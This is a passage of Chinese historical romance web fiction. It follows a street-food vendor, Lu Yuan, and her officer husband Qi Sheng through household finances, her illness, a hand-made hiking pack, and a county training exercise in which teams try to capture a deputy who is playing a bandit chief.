祁晟道:“今日听嵇捕头提了一嘴,这里边有三个寨子联手,本意为示威,但现在却折了这么多人,他们暂时成不了什么气候,穷寇莫追。” 陆鸢道:“我还听过斩草除根呢。” 祁晟笑了笑,道:“这岭南地势问题,这些山贼强盗的根,很难灭。今日灭了这个山头,明日其他山头又会起一个贼窝,杜绝不了的。” “现今公署能做的,就是继续剿匪,剿到他们怕,不敢猖狂,只能夹着尾巴匿藏在深山中。” 祁晟说罢,转而道:“另外,嵇铺头让我初五去一趟公署,应是去领赏。” 陆鸢皱眉撇嘴道:“这一想到是你吃了这么多天的苦,还伤了手臂才得的赏,哪怕有好几十贯钱,我也高兴不起来。” 祁晟道:“通过这一役,算是杀鸡儆猴了,估计广康城也能太平很长一段时间,这段时间我也不用再涉险,你和祖母也不至于为我操那么多心。” 陆鸢闻言,紧蹙的眉头微松,看着他:“当真?” 祁晟点头:“自是真的。” 陆鸢拍了拍胸口,道:“如此最好了,你也不知道你不在这几天,老太太日日唉声叹气,我心里也担心,但怕老太太担忧,我也没敢表现得太明显。” 这些天的担惊受怕,她是一点都不想经历了。 第96章 陆鸢下午喝了药后就出了一身汗, 有点昏沉。 祁晟见状,自然是不让她出摊了,让她在家里歇着。 给她熬了粥后,他便出门了。 摆了半个时辰的摊子, 祁晟便回一趟家看看她, 盯着她喝粥喝水。 陆鸢见他回来第三回了, 顿感无语:“我都退热了,现在也都好多了, 你再过一会儿都该收摊了,还回来做什甚?” 祁晟依旧是不放心她, 只道:“现在外头的人少了, 也就回来瞧一瞧你。” 说着,为了再次确定她到底有没有复热, 还是用手背探了一下她额上的体温。 刚退热不久, 额头冰冰凉凉的。 见没有再复热, 祁晟这才松了一口气。 “你有没有什么想吃的?”他问。 陆鸢摇了摇头:“不用了, 不怎么想吃。” 祁晟道:“我一会还是再熬点粥, 你想喝的话,也不用等。” 想了想, 又道:“今晚也还是不回去了,等明天再回去。” 他就怕这一吹风, 再次发热。 陆鸢点头, 而后像是自言自语道:“先前身体那么虚,也没见生病, 现在吃好穿好了,怎反倒生病了?” 祁晟大概能猜得出来为什么。 他这七八日都跟着去剿匪了,她一个人既要顾着家里, 又要操心摊子,心里更是担心他,这般大的压力,怎能不病? 这个时候,他倒希望她没心没肺一点,不至于让自己太累,可也知道,她是心软的,无论如何都做不到没心没肺。 祁晟忽然道:“丽娘,你有没有想过开一个铺子?” 陆鸢想都没想就拒绝:“暂时不想。” 祁晟微微诧异:“这摆摊的人,大多数都想着有自己的铺子,你为何不想?” 陆鸢道:“你也说是大多数的人,而我只是小部分人里头的一个。” “这店铺的租金多贵呀,一个月下来估摸着都得一两贯钱了,而且还全年无休,我这出摊,做一天还能歇一天呢,现在一个月也能挣两三贯钱,等到夏日还能挣得更多呢。再说了,铺子不一定能比夜市挣得多,现在稳定,我也不想冒那个险。” 最主要她看见太多因为摊子生意好,就开了铺子,生意一落千丈的例子了。 祁晟道:“你不想开,那就先不开。” 他提的时候,也是担心她这日日吹冷风,而且还日日熬夜,倒是没想那么多。 陆鸢这病来得快,去得也快,第二日跟个没事人一样。 祁晟也没让她回家,毕竟这早间回去,晌午还得过来,太过奔波了,所以他把孩子和祖母接了过来,让祖母带着孩子去玩。 老太太听孙子说孙媳不大舒服,也就没让孩子在家,让她操心。 等老太太带着孩子遛弯回来的时候,提着一条猪尾巴回来的,她说:“你这身子虚,得补补,我买了猪尾巴和黄豆一块炖,让你孩子都补补。” 陆鸢瞧着猪尾巴就没了胃口,忙道:“大夫说我虚不受补,本来身体就虚,这些天还大鱼大肉,所以才补过头,生病了。” “你说是不是呀,郎君?” 她转头看向身后忙活着的祁晟,给了他一记威胁的目光。 祁晟笑了笑,应:“是。” 她直接说不想吃还好一些,等以后祖母心血来潮再买一回,她肯定会后悔今日说谎。 老太太也没看到他们的眉目官司,道:“那真可惜了,还想着买条猪尾给你补补呢。” 陆鸢道:“不可惜不可惜,这不是还有孩子俩和老太太,郎君么。” 老太太琢磨了一下,说:“肉咱不吃,喝点汤总行吧?” 陆鸢:“……” 祁晟帮她解围道:“祖母就别为难她了。” 老太太叹了一口气:“算了算了,你吃点清淡的。” 陆鸢这才松一口气。 等陆鸢回屋后,祁晟帮祖母烫猪尾巴的猪毛,低声与她道:“祖母,丽娘不喜欢吃这个,之后你别叫她吃了。” 老太太闻言,愣了一下,随之反应了过来:“所以你们夫妻俩方才联合起来诓我呢?” 祁晟无奈笑了笑。 老太太笑道:“我瞧丽娘就是病糊涂了,不吃直接说就是了,还怕我骂她不成?” 祁晟笑道:“这不是怕因为祖母担心她么。” 老太太:“得了得了,不过她病好,确实要吃点清淡的,别吃太油腻的了,她是个嘴馋的,你可得看好你媳妇了,别让她吃太重油太重盐的。” 祁晟颔首:“晓得了。” 陆鸢和祁晟商量好了,直至初八,他们都住在夜市街这边。 白日他也得空,就两头接送老人和小孩过来吃中食。 年初五,祁晟一早就去了公署,直至晌午过后才回来,也就没能去接着老人和孩子。 陆鸢正和胡七娘正磨着豆子,他这才回来。 陆鸢见他两手空空,也没问什么,随着他进屋。 进了屋中,才压低声音问他:“咋去了这么久?” 祁晟在公署任职的事,陆鸢不仅没有和左邻右舍说,更没有和胡七娘说。 一是怕有事求他,难拒绝。二是让别人畏惧他们家,或是奉承他们家,多多少少都会对他们的生活产生影响,她也就瞒着,谁都没有说。 祁晟道:“今日去公署,县丞与我说了许久关于岭南山匪的事,聊着聊着就午时了,也就让我留饭,盛情难却,只得吃了才回来。” 主要是祁晟想走,杨县丞一手放在了他肩上,那力气状如牛,自诩力气极大的祁晟也不是其对手,便被带到了饭桌前,再拒绝便不好了。 陆鸢虽不知都聊了什么,也一猜也能猜得到,这是老板给得力员工画饼去了。 祁晟从怀里掏出了三块银饼出来给她,说:“这是安平镇剿匪所得的赏银。” 陆鸢看到银饼时,愣了一下,拿过来仔细看了眼。原本想咬一下,看看硬度,但一看脏兮兮的,也就歇了这个念头。 银块的做工很是粗糙,一点也看不出来这就是真的银子,但既然都是公家赏的,就不存在假银子的说法。 “这回怎么不是铜钱,反倒是银子了?”她奇怪道。 她掂了掂,感觉一个银饼有十两重:“是十两一个吗?” 祁晟点头:“这回的赏钱是三十两的银子,因着三十贯钱不方便,便给了银子。” 陆鸢转把自己记账的账本拿了出来,翻到年前最后的盘的账面上,道:“离咱们在城里买房的计划又进了一步。” 祁晟从没过问过家里的钱财,倒是有些好奇的问:“现在家中有多少存银了?” 陆鸢加了一下,道:“加上你带回来的这三块银锭子……三十八两八百文。” 大头还是祁晟用命挣回来的。 说了银钱数目后,陆鸢忽然想起之前和祁晟提起过的,有五十两银钱才考虑要孩子的事,这还是说得太少了,早知说到百两了。 这祁晟的月钱加上她每个月挣的,一个月起码能存下四两银钱,这不用五个月就够五十两了。 更别说这过年的几天,每日都有四五百文的利润了,八日下来,也有好几两了。 祁晟见她忽然不说话了,问:“怎么了?” 陆鸢摇了摇头:“没事,就是在琢磨过了初八后,就去庄宅牙行问问房价,也好有个奋斗的目标。” 过了初八后,陆鸢都打算歇几天,也给胡七娘放几天假,这几天实在是太累了。 祁晟点了点头。 随后道:“对了,元宵过后,我可能还得离家数日。” 陆鸢看向他:“要干嘛去?” 祁晟:“县丞想让我挑些人到山林中锻炼。” 陆鸢闻言,因早就料到过了,也不意外:“行吧,反正年后,也就元宵节那天最忙,过后就没那么忙了。” 她算了算日子,随而道:“而且还有十一日才到元宵,也不着急,东西慢慢准备着。” 祁晟闻言,道:“东西我自己备就成。” 陆鸢:“你备你的,我备我的。” 她第一时间想到的就是做登山包。 她虽没有买过登山包,但样式大概清楚,家里有个手巧的老太太,十天时间应该能做完,不过得买点桐油加工过的油布,既可以防雨又可以防水。 便是做成雨衣,也好收纳进包里。 初八晚收了工,陆鸢把工钱结给胡七娘后,道:“初十就不出摊了,先休息三日再上工。” 胡七娘这些天也确实累得不行,不过也累得高兴,毕竟钱都挣到了。 第二日午时归家,正好赶上了中食。 老太太把围裙解下,道:“本来还想着给你们送饭的,你们就先回来了。” 陆鸢道:“太累了,就睡过头了。” 她摸了摸春花秋花的小脸蛋,这小半个月一直在忙,都没怎么陪这俩孩子玩。 老太太催促道:“赶紧洗手准备吃饭吧。” 中午的菜只有炒酸菜和菘菜,还有个拌豆皮,这几天大鱼大肉吃腻了,现在吃些清淡的,陆鸢倒是胃口大开,喝了两碗粥。 吃了中食,祁晟来收拾,两个孩子也在一旁帮忙,虽然帮不上什么忙,陆鸢还是很捧场的夸了两个孩子:“春花秋花真勤快,都不用喊,就帮忙收拾。” “郎君也好勤快,收拾得真干净。” 老太太睨了她一眼,这分明是捧着干活的人,让他们干得更积极。 真是个机灵鬼。 陆鸢夸了之后,转头看向老太太,和老太太对上视线,一眼就看到老太太那了然一切的眼神,讪讪问道:“老太太,让你帮忙做的包,做得怎么样了?” 老太太:“在屋里,你跟我进去瞧瞧,瞧瞧有没有做错。” 陆鸢跟着老太太进了屋,背包已见雏形,就是背带还没做。陆鸢在决定做登山包的时候,就去打铁铺子定做了两个调节背带绳的三挡扣。 她还让铁匠做了几个蹀躞扣,缝制在背包上,可以用来挂一些东西。 至于拉链,相对精细,就算能做出来,造价昂贵,不值当,所以陆鸢让老太太在开口的地方缝了两条绳子,一拉一绑就可以拴紧背包。 不过这样做了,容量肯定没有那么大。 背包的侧面和肩带夹层都放了一层牛皮,可以做得硬实一些。 古代牛是不能轻易屠宰的,只能是病牛,老而不能耕作的牛才会被允许屠宰,所以只用了不过一尺的牛皮,就花了陆鸢好几百文。 陆鸢仔细检查了一遍,惊叹道:“我就这么一说,老太太你真给做出来了?!” 老太太道:“这又没什么难度。” 陆鸢笑道:“要我做,肯定是做不出来的。” 老太太问:“晟哥儿知道你让我做这个包不?” 陆鸢:“没告诉他,打算给他个惊喜。” 老太太闻言,笑了。 心里也因为小夫妻俩的好感情而欣慰。 第97章 元宵过后的第三日, 祁晟就得出城锻炼了。 陆鸢在知道准确的出发时间后,夜里便把准备好的登山包给了他。 祁晟接过包,问:“这是什么?” 陆鸢:“这是……进山林里头用的包。” 祁晟倒是第一次听说还有进山林里用的包。 陆鸢:“你打开里边来瞧瞧,都是我给你准备的。” 祁晟把包放到桌面, 就开始仔细观察了起来, 包两侧各缝微松的出侧袋, 正面则有几个环扣,一瞧就知道可以挂一些物件。 陆鸢道:“两侧的袋子, 可以用来放竹筒,竹筒也可以用来装米装些粮食, 在山里可以用到。” 祁晟解开了包, 里边有绳索,有打火石, 也有匕首, 小锤子, 剪子。还有金疮药和纱布, 防蚊虫叮咬的药物, 纱布。卷起来的油布,以及一身油布做的防雨衣。 陆鸢道:“岭南春节多雨, 我让老太太给你做了防雨的衣裳,另外两块油布, 长宽约半丈, 分别可以系在树与树之间,作为临时避雨处, 便是夜里,也可用几根竹子搭在地上,做个临时住处。” “外边的一些环扣, 也可以用来挂马鞭和防蚊防虫的香包。” 岭南这边的天气就很奇怪,春冬季节,在山林中依旧还能看见有蚊子。 祁晟看着这些东西,诧异地看向她:“你怎的这么多的巧思?小小的一个包,能放的东西却这么多。” 陆鸢道:“那可不是我的巧思,不过是看见过有人背,记下款式而已。” 祁晟望着背包,越瞧越爱不释手。 一是确实便携,二是这背包是妻子花了心思给自己准备的。 陆鸢道:“不管是剿匪,还是去锻炼,怎么去的就怎么回来,晓得吗?” 忽然,他放下包,她还没反应过来,他就直接把她抱了个满怀。 自二人关系更进一步后,他这些亲密的行为,就越来越自然了,搞得现在她都不敢轻易地调戏他,生怕最后自讨苦吃。 抱了好一会,陆鸢拍了拍他的肩头:“好了好了,我晓得你感动了。” 祁晟松开了她,不由得笑了笑。 他侧目看向背包,说:“我们日子会越过越好的,在三年内,咱们定要在这广康城安家。” 陆鸢道:“尽力而为,反正咱们现在也能租房子住,买房子的事,三年不行就四年,四年不行就五年,总有一天能买得起的。” 他们前些天到庄宅牙行问过了,就她们现在住的样式宅子,就这个小院,大概得三百贯钱。 陆鸢大概量了一下,这小院大概也就一百平,相当于是三贯钱一个平方。 三百贯钱,陆鸢算了算,就是她和祁晟两人所挣,都还得存三年,而这寻常人压根是买不起宅子的。 祁晟以前觉着在安平镇生活也行,但在这热闹的地方待久了,反而想让家人一直生活在这地方,不想让他们再回去了。 这里热闹,要买什么都方便,而且治安也比镇上,村里更好。 元宵过后,这广康城变天了,又冷了好几个度,虽未有雨,但这天色每天都是乌沉沉的。 祁晟在元月十八一早,就背上了她给准备的背包,牵着马出门。 走到垂柳巷口,他转头看向妻子和祖母,说:“别送了,这外头冷,你们回去吧。” 老太太道:“可得小心些,这山上可不仅仅有山贼,还有凶猛的野兽。” 对于孙子先前成了活死人的那几个月,老太太依旧还没从其中走出来。 现在也是没法,上头有个官压着,不去不行。 祁晟点了点头:“我省的,回吧。” 祁晟上了马,转头看了眼祖母和妻子,摆了摆手后,就骑马而去。 看着他渐行渐远,逐渐没了身影,陆鸢才扶着老太太回去。 祁晟到公署前衙,已经聚了许多人。 嵇捕头走到他跟前,唤了声“祁砦官。” 祁晟一拱手:“嵇捕头。” 虽然现在的名头上是祁晟比嵇捕头高一些,但他清楚是暂时的。 他年纪尚轻,且公署里的捕快,都信服嵇捕头,他都得敬重着。 打了招呼后,祁晟环视了一圈,看到了檐下的杨主簿,说:“他怎么也在?” 嵇捕头朝着他瞧着的方向看了去,见着杨主簿,便道:“此番进山锻炼,县丞大人向知县大人支了五百贯钱。” “杨主簿管着也管着这公署的账目,最近咱们支了估计都有两千贯了,所以看不过去,就自请做咱们的监察。” 祁晟道:“可据我所知,先前缴获赃款,可远远不止这个数。” 一旁的捕快压低声音道:“先前上一任县丞,对他都有几分敬意,但没承想来了个厉害的,对他和对别人无甚区别,心里有了落差,估摸着想在小事上为难为难咱们得县丞大人。” “杨主簿头上有知县大人护着,只要闹得不过分,估计知县也不会怪罪,再者我们都觉得知县也想压一压县丞的锐气。” “杨县丞继任数个月,可谓是锋芒毕露,现在整个广康城都在议论咱们这位县丞大人,风头早已超过了知县大人,可不要压压大人的锐气。” 嵇捕头瞧了底下的人一眼,说:“这些话今日说过就算了,别在旁人面前说,万一传到杨主簿或是知县大人的耳朵里,别说我护不住你了,县丞大人都未必能护下你。” 那捕快抿了抿嘴,点头,然后看向祁晟。 祁晟道:“我也不会往外说。” 捕快这才放心地松了一口气。 等捕快走了,嵇捕头道:“杨主簿不敢当面为难县丞大人,我在这公署也待了有十年,自然也不会为难我。” 祁晟听出了他的意思:“我刚进公署,也得县丞赏识,职位在他之下,自然是最好的人选。” 嵇捕头道:“旁的不说,年前他是不是让你带几人,你给拒绝了?” 祁晟点头:“是有这件事,怎了?” 嵇捕头:“那段时日公署一些人都说你恃宠而骄,恃才傲物,除了县丞,便是连知县都不放在眼里。” 祁晟眉头一蹙。 嵇捕头:“不过这些话传到县丞大人的耳中后,就让人传出这话的源头查了出来,是从户房传出的。” “杨主簿便说大概是他底下整理案版的人,因为祁砦官拒绝他时,听到了,也就把这事给传了出去。” “而后大人便当着众人的面说了安排人的事,是他全权做主,祁砦官做不了主,这事才揭过了。” 说到这,嵇捕头转头看向他,疑惑道:“怎么,你没听到这些传言?” 祁晟摇头。 嵇捕头:“也是,他们自然不会当着你的面议论,且你这每日一下值就往家里赶,自是不知道。” 说到后头,依旧低声提醒:“杨主簿不算正当人,甚至可以说有些阴险,当心他使绊。” 祁晟点头:“我知道了,会小心的。” 时辰差不多到了,县丞也出来了,众人便止了话头,整齐地在前衙排了起来。 县丞站在廊上一览众人,随之开口道:“此番去锻炼,是为了更好地保护广康,也是为了以后能更好地剿灭在广康兴风作浪的悍匪,所以你们必须给我打起十二分的精神。” “此番分了三队人,由祁砦官和嵇捕头,还有陈副将为首,各领二十人入山。“ 陈副将则是县丞带来的手下。 “另,”我为匪,领三十人做守寨人,你们的任务就是在固定的时间内,哪一对先行潜入山寨,擒下我这个贼首,便是胜,赏钱百贯。” “能不能做到?!”杨县丞的声音忽然洪亮。 此话一出,所有人的脸上都露出了程度不一的惊愕。 县丞大人,你要不要听听自己说的是什么? 擒力大无穷的县丞? 擒能轻松以一敌十的县丞? 这不是开玩笑么! 杨县丞见鸦雀无声,脸色倏然沉了下去:“怎的,我很难擒?!我尚且不会要你们的性命,但真正擒匪时,他们杀人如麻,你们难不成还能畏我还畏过山贼强盗?!” 大家羞愧地低下头,要说不说。 比起山贼强盗,他们确实更怕这位县丞。 这还没出发呢,杨县丞看到他们这群人,都已经一肚子气了。 他就真这么可怕? 他自认自己与下属关系挺好的,怎就怕成这样?! 杨县丞转头看了眼旁边的人,问:“杨主簿,你说,本官可是什么吓人的罗刹?” 杨主簿看着高了自己一个头的高大男人,抬头看向那张黑脸,不由自主地咽了咽唾沫,应:“自然不是。” 这县丞还怪有自知之明的,就是不乐意承认。 杨县丞转头看向众人,声音洪亮:“缩着脖子像什么样,给我抬头挺胸!” 众人齐刷刷地抬起头,挺起胸膛。 见他们精神头上来了,杨县丞才歇了一些火气,道:“出发。” 众人皆不知此番去哪个山头锻炼,但出了城,走了约莫有一个时辰后,才逐渐反应过来去的是何处。 先前剿灭的虎啸寨,好似就是这个方向。 他们先前就剿过一回虎啸寨,有了经验,能成功的机会肯定大。 再说先前剿灭虎啸寨的时候,祁砦官也不在,他们都比他有经验,便是在山林中,估计祁砦官的胜面与他们无差。 原本他们还因不在祁砦官的行伍中而丧气,现在多了胜算,又全部打起了精神。 那可是百贯赏银,平分下来每人都能得十贯呢! 顿时,士气一下子就上来了。 杨县丞转头看向那几支挑选过的队伍,见他们个个都昂头挺胸,士气十足,一时间纳闷了起来,这些兔崽子莫不是觉得在猛虎寨剿过匪,事情就容易了? 就不想想,坐镇的是他这个亲自带着他们剿匪的人。而他们还想再走一回的路,他都会把其给堵死。 他不可能让他们轻易成功,毕竟,剿匪就没有轻易的。 第98章 祁晟这一去, 就没了消息。 时过四日,家里一切都照旧。 过了年后,这夜市又逐渐冷淡了,估计只能是五月端午之后才会继续热闹了。 陆鸢早间从夜市街回来, 老太太和孩子串门去了, 给她留了门。 陆鸢进了院子, 一开自己屋子的房门,一股子潮湿的气味就扑面而来。 …… 今日早间起来时, 看到浓浓的雾,她都没反应过来是回南天。 都要忘记了回南天是岭南的特色了。 回南天虽未有雨, 但雾气很大, 空气中弥漫着潮湿的气味。 老太太这个时候正好从巷尾人家提了青菜回来,进了院子, 见她站在门口不进去, 便问道:“站在门口作甚?” 陆鸢看着屋子, 道:“屋子里潮潮的。” 老太太道:“昨日你走的时候没关窗户, 我早上起来才关的。” 难怪了。 陆鸢进了屋子, 屋子里就好似被水浸泡过一样。 黏黏糊糊的,充斥着湿濡潮湿的味道。 这种天气, 最怕的就是没衣服可换。 这回南天,衣服能晾到臭了都干不了。 这些天, 外头的衣服只要不脏, 七八日洗一次都成,但里头的单衣, 这最多只能穿两日。 陆鸢想到这,又转头看向外边,说:“老太太, 这开春了,咱们家每人多做两件单衣吧,裤子也多做两条,不然这回南天,衣服不干,也没衣服可换。” 老太太在岭南十几年了,自然知道这岭南的回南天有可怕,就是小半个时辰不关门窗,屋内都是湿浸浸的。 “那行,但我可不做了这么快,怎么得都得好些天才能做完,要不就先给你和孩子做了?” 陆鸢摇头道:“这得等到什么时候,还不如问问左邻右舍谁有空闲,出点工钱,最好是几天就给做完了。” 钱是孙媳挣的,只要不是真的乱花使,老太太也不过多干涉。 “行,一会儿我去问问。” 陆鸢道:“既然要做衣裳,咱们下午也去选点布回来。” 老太太点了头。 陆鸢在屋子里烧了个火盆后,就关上房门闷闷,然后去孩子们的屋子,看着她们练字。 陆鸢之前还想教姊妹俩认字,却是直接被祁晟拉来一块练字了,他还不让她教孩子,说是她教的字缺胳膊少腿。 简而言之,潜意思就是她教不好。 虽然祁晟不在,陆鸢还是老老实实地拿笔练字。 这繁体字笔画多,还得用毛笔写,没写几个就觉得手酸得慌。 反观两个孩子,大概是新脑子,记东西就是快,这只是教念几天千字文,现在都能从头念到尾了。 不止春花能念,就是三岁的秋花也能一个字一个字地往外蹦,拿着毛笔也是有模有样的,执笔的姿势都比陆鸢要来得标准。 都这个情况了,陆鸢自然是不能偷懒,不然真叫两个孩子比了下去。 杨县丞底下的徐幕僚端着羊肉汤馎饦,从外头走进原本作为虎啸寨的议事堂。 杨县丞坐在议事堂的主位擦拭着朴刀,听到脚步声,问:“那几支行伍有消息了吗?” 徐幕僚把羊肉汤馎饦放到宽大的桌上,应道:“听探子和盯梢的人说,什么动静都没有。” 杨县丞眉头蹙起:“锻炼比试为期十日,时间都过半了,却还是没有任何动作,他们怎么想的?” 徐幕僚把托盘上的两碗馎饦放到桌面上,道:“大抵没有十足的把握,他们是不可能出手的。” “大人,趁热先把馎饦吃了。” 杨县丞把朴刀放在桌面上,心说再不出来,这朴刀都快生锈了。 他拿起筷子,问:“你觉得谁更有胜算?” 徐幕僚道:“有大人坐镇,他们的胜算只有两成。” 杨县丞挑了挑眉,琢磨了一下,道:“不,有六成。” 徐幕僚诧异地看向自家大人,看到大人的眼神,他反应了过来其意思。 “大人是觉得,每人两成加起来的六成?” 杨县丞问:“你觉得他们联手的可能又有几成?” 徐幕僚仔细琢磨了一会,应:“也是六成。” “若他们联手,咱们是该好好想想应对的对策。” 杨县丞笑了笑:“我就等他们联手,单打独斗怎么可能胜得了,我且都要寻外援才能攻虎啸寨,解救安平镇,更莫说是他们。” “我们现在只有三十人,他们三队加起来是六十人,比我们多了一半,极可能是强攻。” 徐幕僚看了眼自己大人放在桌面上的朴刀,说:“强攻不太可能,就属下所见,大人以一抵三十不成问题。” 杨县丞轻一哂笑,道:“你呀,还是太看得起我了。” “说实在的,若他们没有联手,你觉得谁比较有胜算?” 徐幕僚道:“应是陈副将,他跟随大人身边也有七八年了,应战经验丰富。” 说到这,徐幕僚继而分析道:“陈副将应战经验丰富,祁砦官则善于利用山林地形隐蔽作战,而嵇捕头先前查案就观察入微,敏锐超群,若是他们仨真能合作,确实胜算大。” 杨县丞夹起了馎饦,吃了一大口热乎的,道:“你与我想的一样。” 二人正说着话,外头忽然传来问责声:“日日都是羊肉馎饦,就没点新鲜吃食了?!” 是杨主簿的声音。 杨县丞挑了挑眉,不耐地问:“他又怎了?” 徐幕僚应道:“这日日都是米饭,馎饦和羊肉,估计是吃腻了,想让人去山里打些野鸡,捕些鱼。” 他们进山时,带了三只羊上山,米和面也有一些,青菜则是菘菜。 杨县丞蹙眉:“吃肉还嫌弃上了,什么德行。” “我记得他也是农户出身,怎养成这德行?” 徐幕僚道:“他在公署行事不怎么清白,所以养得膘肥体壮。” 杨县丞夹起一大箸馎饦,吃得响亮,连着汤都喝完后,放下海碗,道:“找个机会,下些猛药把这公署的蛀虫都驱一驱。” 徐幕僚颔首:“明白。” 外头隐约还传来杨主簿的怒声:“怎的,我也使唤不动你们了?” 杨县丞暼了眼外头,道:“找个人供他差使,别让他闹事。” 徐幕僚点了点头,收拾了碗筷后,就出了议事堂。 另外一边的三队确实都已经联合在一块。 在进山前,陈副将就把祁晟和嵇捕头私下喊到了一块。 只用了简短几句话就联手了。 无非是他们根本就没法一对一赢过他们的县丞,第二则是兵不厌诈,他们三支队伍都是剿匪的队伍,都是属于一道的,没有道理不合作。 赢了之后赏银平分。 赏银少一些,总好过一文钱都没有的好。 几个人都是聪明人,自然知道合作才有胜算,便暗中合作了。 他们几日都没有动作,就是在等一个突破口。 终于,这个突破口给他们等到了。 这些天,打猎的同僚直接被他们逮了。 被五花大绑绑在树桩上的捕快,一言难尽地看着前面三个上峰。 “不是,都是自己人,不至于这么狠吧?” 陈副将道:“那不狠不行呀,咱们现在是官,你是匪,是对立的,必须这么做。” 捕快:…… 嵇捕头道:“给杨主簿出来打猎的?” 捕快惊讶道:“头,你怎知道的?” 嵇捕头道:“我与杨主簿共事都十年了,自然了解他的性子与为人……” “就杨主簿那肥硕的身体,都是因为有一张管不住的嘴。” “好吃。” “而在这寨子里,吃食种类有限,日日都是老三样,且这年节还吃了不少羊肉,我笃定他不到三日就会闹,闹久了,大人也会头疼,会安排人出去给他找新吃食。” 捕快道:“就是这个理,从进寨子第三天开始,不是骂这个就是骂那个,骂得大家都心烦,大人怕影响军心,才让我出来给他打猎。” 陈副将接口道:“还是嵇捕头了解杨主簿,但咱们大人刚上任不久,肯定还不够了解,不然也不可能把你这头小羊送进咱们口中。” 捕快闻言,小心翼翼的问:“三位想做什么?” 祁晟笑了笑:“不想做什么,就是打算策反你,为我们所用。” 捕快瞪大了眼,随之掷地有声的说:“咱可干不出这样的事来!士可杀不可辱!你们就是把我给……反正我也不干背叛的事。” 凛然大义地说完了这些话,又怂了下来:“几位不会真的对我用刑吧?好歹咱们也是同僚,可千万别。” 嵇捕头转而与另外两个人道:“看吧,就是有恃无恐,他肯定不肯被策反。” “而且这都是些熟人,换一个人回去,肯定会被认出来。” 陈副将道:“灯下黑听说过不?越是觉得轻易就被发现,就越有可能瞒过去,换个身形差不多的人,换上他的衣服,在泥地里滚几圈,把脸弄脏,提着两只野鸡回去。” “能成就行,不成就是每方多一个俘虏,咱们不亏。” 说着,陈副将不怀好意地看向被绑的俘虏,露出了略为阴险的笑意。 被绑着的捕快瞪大了眼,惊问:“你们这想干什么?!” 几个人朝着他微微一笑,陈副将理所当然地道:“当然是扒你衣服,不然哪来的衣服?” 入了山,演起山匪来,入戏得很,连捕快的衣裳都脱下,穿上了寻常衣裳。 叫了人,直接把他的衣服扒了下来,毕竟是自己人,山里也冷,也就给他扔了一件厚衣裳,然后继续被严加看管了起来。 虽真是自己人,但也不能有任何松懈,万一跑回去告密,他们这一出就功亏一篑了。 第99章 陆鸢这些天都是掰着手指头算日子的, 祁晟出门的第十一天,还没回来。 回南天还是没过去。 早间从夜市街回来,一回至屋中,怕湿气入了屋, 便立马就关上了房门。 因着外头晾衣服晾不敢, 都是放在屋子里头, 得空了就拿着把蒲扇扇几下。 陆鸢摸了摸晾在屋子里的衣裳。 从前天晾到今日早间,总算是干了。 这鬼天气还是早点过去吧, 不然整个人都觉得像是被浸泡在水里一样,就没干爽过。 陆鸢把孩子的衣服都收了下来, 拿去她们的小屋子。 进了屋子, 把衣服叠起放到柜中。 秋花放下了笔,扯了扯她娘的衣摆。 陆鸢转头看向她, 问:“咋了?” 秋花问:“爹呢?” 陆鸢慢声细语的应道:“先前就说过的呀, 他外出公干去了, 要很长时间才能回来。” 秋花张开手掌, 然后一个手指头一个手指头地掰着算时间, 两只手都算完了,有重复左手数。 她数完之后, 抬起头看向她娘:“已经好久,好久了, 十个晚上, 十一个白天了。” 陆鸢闻言,笑了。 这小小年纪, 时间都已经算得这么清楚了,还是很了不起的。 春花也接着妹妹的话问:“爹出去好久了,什么时候能回来?” 陆鸢摇了摇头:“我也不知道, 估摸着过几天就能回来了。” 毕竟杨县丞算是知县的助手,除了剿匪的事,还有别的事务要做,这去太久了,知县也不会允。 估计最久只能外出半个月,算算日子也快要回来了。 就是不知道他们的拉练是什么个情况。 下午,陆鸢陪着两孩子午睡,睡得比较晚,是以也起得迟了,眼瞅着快要傍晚了,便赶紧去做饭了。 只要在家,陆鸢就会自己做饭。毕竟老太太做饭,只要熟了就成,味道不咸不淡,不算难吃,但算不上好吃。 正做饭,一听到马蹄声时,所有人都跑到了巷子去。 巷子了,祁晟风尘仆仆地牵着马。 他外出,还是进山里,什么条件都没有,形象自是和年初一回来时有得一比。 还是胡子拉碴的,但过年的时候见过一次磕碜的了,再说那马一瞧就是自家的,两个孩子也没了任何的怀疑,颠颠地朝着祁晟奔跑了过去。 祁晟只是摸了摸两孩子的脑袋,自己什么情况,他是了解的,也就没有抱她们。 祁晟还背着背包,马鞍旁则是用衣服包了一大包的东西,也不知装的是什么。 然后还吊着两只野鸡和两只野兔。 入了院子,陆鸢才问:“你包里带了什么?” 祁晟道:“这些天天气湿润,山里长了菌子,和大家伙都摘了一些。” 他上前把包裹拆下,还有两只已经被他割了脖子的野鸡和野兔。 “吃不了那么多,野兔可以做成腊兔。” 陆鸢问他:“不是去锻炼,怎的还打上猎了?” 祁晟应道:“昨日就已经结束了,大人让我们打猎做篝火席。” “今日起了大早,我就去山里采了些菌子,顺道打了几只兔子和野鸡,其余的给县丞了,我就带了这几个回来。” 他提着野鸡和兔子,说:“给我把刀,顺道烧些热水,我先把这几只野味给处理了。” 陆鸢忙进厨房拿了菜刀给他,再回去烧水。 两个孩子则在一旁盯着看。 毕竟都跟着她们的娘逃荒过了,杀鸡杀兔她们能盯着看,一点也不怕。 陆鸢给祁晟烧了热水,又继续给他烧沐浴用的。 老太太仔细瞧了眼孙子,道:“你这到底是去锻炼,还是去逃荒的,这么埋汰,以前去打猎的时候,也没见过这样。” 祁晟无奈笑了笑。 可不,这些天东躲西藏,连火都不能生,即使满山的猎物,也还是不能擒,只得吃干粮。 身上实在受不住脏了,就去山泉水潭洗洗冷水。 祁晟处理好了野鸡野兔,陆鸢塞了衣服给他:“赶紧去收拾收拾。” 等人进了澡间,陆鸢看了看老太太。 迟迟没等到老太太给她指示,她有些诧异的问:“老太太,你这回怎没让我进去检查检查?” 老太太把剁块的野鸡洗干净,准备用来炖汤,暼了她一眼:“这又不是去剿匪,只是去锻炼,还有这么多人一块入山,能有什么伤?” 陆鸢想了想,也赞同地点了点头。 这只是拉练,能有什么问题? 祁晟从澡间出来,擦着头发回了屋。 至屋中,头发也擦得半干了,才唤了一声:“丽娘。” 陆鸢正做着菜,听到他喊她,就让老太太先帮忙翻炒一下,她边擦着手边回屋。 “怎了?”她疑惑着推开门。 一进门就见他正在脱衣裳,便转身把门关了,再转回身的时候,就看到他上半身都是大片的青紫。 陆鸢瞪大了眼:“你、你这不是进山中锻炼了吗?怎好似跟人打了一架似的?” 她急忙上前,围着他转了一圈,不仅是后背,就是她极爱的胸肌腹肌,都满是青青紫紫的一片。 “还是说你被公署的人联合起来欺负了?!” 